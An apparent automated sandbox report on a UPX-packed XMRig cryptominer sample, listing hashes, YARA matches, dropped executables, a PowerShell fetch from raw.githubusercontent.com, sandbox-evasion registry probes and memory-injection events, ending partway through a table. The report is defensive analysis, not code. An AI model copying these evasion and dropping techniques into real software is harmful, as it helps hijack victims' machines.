xmrig | 9d4755f3d669454e22a9200f03498c8e918324d040785e3b455b7da9d4bf4ae8

Analysis

max time kernel
121s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 12:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
Size 1.6MB
Sample240603-pyebgaeg9t
SHA256 9d4755f3d669454e22a9200f03498c8e918324d040785e3b455b7da9d4bf4ae8
MD5 a3dd8d724792ef23e16e085018787b40
SHA1 4b55b95512d77907ee4304eeb681129ced04b9ca
SHA512 2b115a21adeac25ffd5bccab485ff64d3785537a4b22fa8b3f92478011409255c0cbed761bfcc2b0f3bb33caf07f398925895ea30665a43377f9cbc364d7f897
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkFfkeMlN675EgEPgspmBeQxWCLU0SwVUu1:Lz071uv4BPMkFfdg6NsIRSwV71
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/3712-99-0x00007FF73ECE0000-0x00007FF73F0D2000-memory.dmp	xmrig
behavioral2/memory/5016-102-0x00007FF7DDBC0000-0x00007FF7DDFB2000-memory.dmp	xmrig
behavioral2/memory/1748-185-0x00007FF6CCAD0000-0x00007FF6CCEC2000-memory.dmp	xmrig
behavioral2/memory/1620-186-0x00007FF793CC0000-0x00007FF7940B2000-memory.dmp	xmrig
behavioral2/memory/4668-179-0x00007FF6612C0000-0x00007FF6616B2000-memory.dmp	xmrig
behavioral2/memory/348-173-0x00007FF6878F0000-0x00007FF687CE2000-memory.dmp	xmrig
behavioral2/memory/1516-167-0x00007FF77EB70000-0x00007FF77EF62000-memory.dmp	xmrig
behavioral2/memory/2208-161-0x00007FF637990000-0x00007FF637D82000-memory.dmp	xmrig
behavioral2/memory/3928-155-0x00007FF6AE1B0000-0x00007FF6AE5A2000-memory.dmp	xmrig
behavioral2/memory/988-149-0x00007FF610F80000-0x00007FF611372000-memory.dmp	xmrig
behavioral2/memory/452-143-0x00007FF79C190000-0x00007FF79C582000-memory.dmp	xmrig
behavioral2/memory/5012-142-0x00007FF7ACBF0000-0x00007FF7ACFE2000-memory.dmp	xmrig
behavioral2/memory/4828-136-0x00007FF6FF7C0000-0x00007FF6FFBB2000-memory.dmp	xmrig
behavioral2/memory/5112-130-0x00007FF720600000-0x00007FF7209F2000-memory.dmp	xmrig
behavioral2/memory/4636-124-0x00007FF771A00000-0x00007FF771DF2000-memory.dmp	xmrig
behavioral2/memory/3532-116-0x00007FF600280000-0x00007FF600672000-memory.dmp	xmrig
behavioral2/memory/4416-112-0x00007FF7DEAE0000-0x00007FF7DEED2000-memory.dmp	xmrig
behavioral2/memory/2116-106-0x00007FF6E5F10000-0x00007FF6E6302000-memory.dmp	xmrig
behavioral2/memory/2136-105-0x00007FF6DE830000-0x00007FF6DEC22000-memory.dmp	xmrig
behavioral2/memory/3500-91-0x00007FF656830000-0x00007FF656C22000-memory.dmp	xmrig
behavioral2/memory/4040-80-0x00007FF6FAAE0000-0x00007FF6FAED2000-memory.dmp	xmrig
behavioral2/memory/4204-74-0x00007FF6919C0000-0x00007FF691DB2000-memory.dmp	xmrig
behavioral2/memory/932-71-0x00007FF68ED30000-0x00007FF68F122000-memory.dmp	xmrig
behavioral2/memory/3812-62-0x00007FF77FC80000-0x00007FF780072000-memory.dmp	xmrig
behavioral2/memory/2116-2434-0x00007FF6E5F10000-0x00007FF6E6302000-memory.dmp	xmrig
behavioral2/memory/4416-2450-0x00007FF7DEAE0000-0x00007FF7DEED2000-memory.dmp	xmrig
behavioral2/memory/3532-2452-0x00007FF600280000-0x00007FF600672000-memory.dmp	xmrig
behavioral2/memory/932-2454-0x00007FF68ED30000-0x00007FF68F122000-memory.dmp	xmrig
behavioral2/memory/4204-2456-0x00007FF6919C0000-0x00007FF691DB2000-memory.dmp	xmrig
behavioral2/memory/3500-2469-0x00007FF656830000-0x00007FF656C22000-memory.dmp	xmrig
behavioral2/memory/2136-2472-0x00007FF6DE830000-0x00007FF6DEC22000-memory.dmp	xmrig
behavioral2/memory/4040-2470-0x00007FF6FAAE0000-0x00007FF6FAED2000-memory.dmp	xmrig
behavioral2/memory/5016-2467-0x00007FF7DDBC0000-0x00007FF7DDFB2000-memory.dmp	xmrig
behavioral2/memory/5112-2465-0x00007FF720600000-0x00007FF7209F2000-memory.dmp	xmrig
behavioral2/memory/3712-2463-0x00007FF73ECE0000-0x00007FF73F0D2000-memory.dmp	xmrig
behavioral2/memory/5012-2476-0x00007FF7ACBF0000-0x00007FF7ACFE2000-memory.dmp	xmrig
behavioral2/memory/4828-2474-0x00007FF6FF7C0000-0x00007FF6FFBB2000-memory.dmp	xmrig
behavioral2/memory/4636-2461-0x00007FF771A00000-0x00007FF771DF2000-memory.dmp	xmrig
behavioral2/memory/3812-2459-0x00007FF77FC80000-0x00007FF780072000-memory.dmp	xmrig
behavioral2/memory/348-2490-0x00007FF6878F0000-0x00007FF687CE2000-memory.dmp	xmrig
behavioral2/memory/452-2488-0x00007FF79C190000-0x00007FF79C582000-memory.dmp	xmrig
behavioral2/memory/2208-2486-0x00007FF637990000-0x00007FF637D82000-memory.dmp	xmrig
behavioral2/memory/3928-2484-0x00007FF6AE1B0000-0x00007FF6AE5A2000-memory.dmp	xmrig
behavioral2/memory/1516-2482-0x00007FF77EB70000-0x00007FF77EF62000-memory.dmp	xmrig
behavioral2/memory/1748-2480-0x00007FF6CCAD0000-0x00007FF6CCEC2000-memory.dmp	xmrig
behavioral2/memory/4668-2478-0x00007FF6612C0000-0x00007FF6616B2000-memory.dmp	xmrig
behavioral2/memory/988-2492-0x00007FF610F80000-0x00007FF611372000-memory.dmp	xmrig
behavioral2/memory/1620-2496-0x00007FF793CC0000-0x00007FF7940B2000-memory.dmp	xmrig
behavioral2/memory/2116-2754-0x00007FF6E5F10000-0x00007FF6E6302000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	4220	powershell.exe
12	4220	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4220	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4416	rtmSMJG.exe
3812	oWHBzjE.exe
3532	YauiXgA.exe
932	uYSZMLm.exe
4204	LVCTMlw.exe
4040	FqTPrKs.exe
3500	SKmirLi.exe
3712	QOiqjAx.exe
4636	qSWZFlQ.exe
5016	KBtRVqB.exe
5112	OdAadUe.exe
2136	GTcDFDs.exe
4828	JZyXCVI.exe
2116	lKBNCiM.exe
5012	UxOHjEo.exe
452	fWZoxnX.exe
988	pvLzmui.exe
3928	xWTdkiZ.exe
2208	SDWSLxK.exe
1516	gDtFCEW.exe
348	XIZKfnk.exe
4668	nLRvFIV.exe
1748	DRocyKY.exe
1620	sLZHezm.exe
4144	yHsgsbN.exe
1628	xnWpmxv.exe
4428	KDbrbTW.exe
4288	tcRosZD.exe
1520	OXFerfm.exe
3232	OKQBHpw.exe
1248	nmgbBKd.exe
1880	jIDfAtO.exe
3476	deCgROt.exe
2412	LquiIgD.exe
4972	hWCKaDL.exe
976	PzAIVzT.exe
2980	hwoSTBb.exe
1148	xcsyMwf.exe
4736	SblMvJR.exe
224	ufreyxA.exe
1900	WAlfdbJ.exe
2096	tiyXhRi.exe
3324	tUkuJjq.exe
3228	pefpycA.exe
3600	KinXLdl.exe
1392	zrthpSg.exe
2928	knuvlhq.exe
3960	ayDZhJc.exe
4524	YyLjekS.exe
648	UUogzLz.exe
4248	UdDwzAc.exe
4812	WdruwJM.exe
1116	cxLQMLU.exe
1020	swnwxel.exe
3884	MYjCCAA.exe
2560	JkmVnYj.exe
3488	tBAZXXM.exe
3784	HlihfdU.exe
3316	ycylfui.exe
4508	IeecLIX.exe
1992	GWGHzXt.exe
2380	EJQSLFh.exe
5068	zqHxiYj.exe
3564	ZXCXLnA.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4036-0-0x00007FF634600000-0x00007FF6349F2000-memory.dmp	upx
behavioral2/files/0x000800000002341f-6.dat	upx
behavioral2/files/0x0007000000023423-11.dat	upx
behavioral2/files/0x0007000000023424-15.dat	upx
behavioral2/files/0x0007000000023426-31.dat	upx
behavioral2/files/0x0007000000023429-38.dat	upx
behavioral2/files/0x0007000000023427-51.dat	upx
behavioral2/files/0x000700000002342a-67.dat	upx
behavioral2/files/0x000700000002342b-77.dat	upx
behavioral2/files/0x000800000002342d-84.dat	upx
behavioral2/files/0x000700000002342f-88.dat	upx
behavioral2/memory/3712-99-0x00007FF73ECE0000-0x00007FF73F0D2000-memory.dmp	upx
behavioral2/memory/5016-102-0x00007FF7DDBC0000-0x00007FF7DDFB2000-memory.dmp	upx
behavioral2/files/0x0007000000023432-109.dat	upx
behavioral2/files/0x0007000000023431-117.dat	upx
behavioral2/files/0x0007000000023435-127.dat	upx
behavioral2/files/0x0007000000023437-139.dat	upx
behavioral2/files/0x000700000002343a-158.dat	upx
behavioral2/files/0x000700000002343c-170.dat	upx
behavioral2/memory/1748-185-0x00007FF6CCAD0000-0x00007FF6CCEC2000-memory.dmp	upx
behavioral2/files/0x0007000000023441-199.dat	upx
behavioral2/files/0x000700000002343f-197.dat	upx
behavioral2/files/0x0007000000023440-194.dat	upx
behavioral2/files/0x000700000002343e-192.dat	upx
behavioral2/files/0x000700000002343d-187.dat	upx
behavioral2/memory/1620-186-0x00007FF793CC0000-0x00007FF7940B2000-memory.dmp	upx
behavioral2/memory/4668-179-0x00007FF6612C0000-0x00007FF6616B2000-memory.dmp	upx
behavioral2/files/0x000700000002343b-174.dat	upx
behavioral2/memory/348-173-0x00007FF6878F0000-0x00007FF687CE2000-memory.dmp	upx
behavioral2/memory/1516-167-0x00007FF77EB70000-0x00007FF77EF62000-memory.dmp	upx
behavioral2/files/0x0007000000023439-162.dat	upx
behavioral2/memory/2208-161-0x00007FF637990000-0x00007FF637D82000-memory.dmp	upx
behavioral2/files/0x0007000000023438-156.dat	upx
behavioral2/memory/3928-155-0x00007FF6AE1B0000-0x00007FF6AE5A2000-memory.dmp	upx
behavioral2/memory/988-149-0x00007FF610F80000-0x00007FF611372000-memory.dmp	upx
behavioral2/files/0x0007000000023436-144.dat	upx
behavioral2/memory/452-143-0x00007FF79C190000-0x00007FF79C582000-memory.dmp	upx
behavioral2/memory/5012-142-0x00007FF7ACBF0000-0x00007FF7ACFE2000-memory.dmp	upx
behavioral2/memory/4828-136-0x00007FF6FF7C0000-0x00007FF6FFBB2000-memory.dmp	upx
behavioral2/files/0x0007000000023434-131.dat	upx
behavioral2/memory/5112-130-0x00007FF720600000-0x00007FF7209F2000-memory.dmp	upx
behavioral2/files/0x0007000000023433-125.dat	upx
behavioral2/memory/4636-124-0x00007FF771A00000-0x00007FF771DF2000-memory.dmp	upx
behavioral2/memory/3532-116-0x00007FF600280000-0x00007FF600672000-memory.dmp	upx
behavioral2/memory/4416-112-0x00007FF7DEAE0000-0x00007FF7DEED2000-memory.dmp	upx
behavioral2/files/0x0007000000023430-107.dat	upx
behavioral2/memory/2116-106-0x00007FF6E5F10000-0x00007FF6E6302000-memory.dmp	upx
behavioral2/memory/2136-105-0x00007FF6DE830000-0x00007FF6DEC22000-memory.dmp	upx
behavioral2/files/0x0008000000023420-100.dat	upx
behavioral2/files/0x000700000002342e-92.dat	upx
behavioral2/memory/3500-91-0x00007FF656830000-0x00007FF656C22000-memory.dmp	upx
behavioral2/files/0x000800000002342c-86.dat	upx
behavioral2/memory/4040-80-0x00007FF6FAAE0000-0x00007FF6FAED2000-memory.dmp	upx
behavioral2/memory/4204-74-0x00007FF6919C0000-0x00007FF691DB2000-memory.dmp	upx
behavioral2/memory/932-71-0x00007FF68ED30000-0x00007FF68F122000-memory.dmp	upx
behavioral2/memory/3812-62-0x00007FF77FC80000-0x00007FF780072000-memory.dmp	upx
behavioral2/files/0x0007000000023428-57.dat	upx
behavioral2/files/0x0007000000023425-29.dat	upx
behavioral2/memory/2116-2434-0x00007FF6E5F10000-0x00007FF6E6302000-memory.dmp	upx
behavioral2/memory/4416-2450-0x00007FF7DEAE0000-0x00007FF7DEED2000-memory.dmp	upx
behavioral2/memory/3532-2452-0x00007FF600280000-0x00007FF600672000-memory.dmp	upx
behavioral2/memory/932-2454-0x00007FF68ED30000-0x00007FF68F122000-memory.dmp	upx
behavioral2/memory/4204-2456-0x00007FF6919C0000-0x00007FF691DB2000-memory.dmp	upx
behavioral2/memory/3500-2469-0x00007FF656830000-0x00007FF656C22000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\Ztddjxc.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\wZFNhzY.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\RnvGpDq.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\JTtnGAj.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\pjEMoGE.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\hJOSXmG.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\oexYIHO.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\hSoKFvE.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\LquiIgD.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\EascAqH.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\fgcooRN.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\phXkLng.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\mKRYQxL.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\QgEDeTw.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\yseYYiN.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\PZBBXpw.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\EYzdQfm.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\ryrimkK.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\gprZGPP.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\JZyXCVI.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\cStDtaO.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\UurRTFc.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\NlGlcFq.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\JZSorlp.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\fsxeZPb.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\Kobzcfj.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\fWZoxnX.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\ZctYYES.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\PMMTtBl.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\zlEYqwO.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\XjllZKL.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\icGggnM.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\tCsTaGa.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\XluzDse.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\xLmeXMO.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\sMhbpER.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\mydKsEw.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\hriDeOC.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\WMgboyv.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\UxOHjEo.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\irRIvvv.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\qsLoOCD.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\OKQBHpw.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\zkYMmgp.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\XeSKcml.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\HAHOioL.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\yhsKPIq.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\jSAkjTm.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\wziYQUY.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\liQJquy.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\dwiYWPC.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\zOQLTgH.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\IlDnkpq.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\RQJOdcE.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\ZCXNvfF.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\InCKxPC.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\LTxAKjt.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\sQlHfWj.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\drNhvvC.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\KDbrbTW.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\MYjCCAA.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\MdymsqR.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\WSIUAnT.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
File created	C:\Windows\System\yMXmobQ.exe	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	dwm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4220	powershell.exe
4220	powershell.exe
4220	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeLockMemoryPrivilege	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
Token: SeCreateGlobalPrivilege	13304	dwm.exe
Token: SeChangeNotifyPrivilege	13304	dwm.exe
Token: 33	13304	dwm.exe
Token: SeIncBasePriorityPrivilege	13304	dwm.exe
Token: SeShutdownPrivilege	13304	dwm.exe
Token: SeCreatePagefilePrivilege	13304	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 4220	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	84
PID 4036 wrote to memory of 4220	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	84
PID 4036 wrote to memory of 4416	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	85
PID 4036 wrote to memory of 4416	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	85
PID 4036 wrote to memory of 3812	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	86
PID 4036 wrote to memory of 3812	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	86
PID 4036 wrote to memory of 3532	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	87
PID 4036 wrote to memory of 3532	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	87
PID 4036 wrote to memory of 932	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	88
PID 4036 wrote to memory of 932	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	88
PID 4036 wrote to memory of 4204	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	89
PID 4036 wrote to memory of 4204	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	89
PID 4036 wrote to memory of 4040	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	90
PID 4036 wrote to memory of 4040	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	90
PID 4036 wrote to memory of 3500	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	91
PID 4036 wrote to memory of 3500	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	91
PID 4036 wrote to memory of 3712	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	92
PID 4036 wrote to memory of 3712	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	92
PID 4036 wrote to memory of 4636	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	93
PID 4036 wrote to memory of 4636	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	93
PID 4036 wrote to memory of 5016	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	94
PID 4036 wrote to memory of 5016	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	94
PID 4036 wrote to memory of 5112	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	95
PID 4036 wrote to memory of 5112	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	95
PID 4036 wrote to memory of 2136	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	96
PID 4036 wrote to memory of 2136	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	96
PID 4036 wrote to memory of 4828	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	97
PID 4036 wrote to memory of 4828	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	97
PID 4036 wrote to memory of 2116	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	98
PID 4036 wrote to memory of 2116	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	98
PID 4036 wrote to memory of 5012	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	99
PID 4036 wrote to memory of 5012	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	99
PID 4036 wrote to memory of 452	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	100
PID 4036 wrote to memory of 452	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	100
PID 4036 wrote to memory of 988	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	101
PID 4036 wrote to memory of 988	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	101
PID 4036 wrote to memory of 3928	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	102
PID 4036 wrote to memory of 3928	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	102
PID 4036 wrote to memory of 2208	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	103
PID 4036 wrote to memory of 2208	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	103
PID 4036 wrote to memory of 1516	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	104
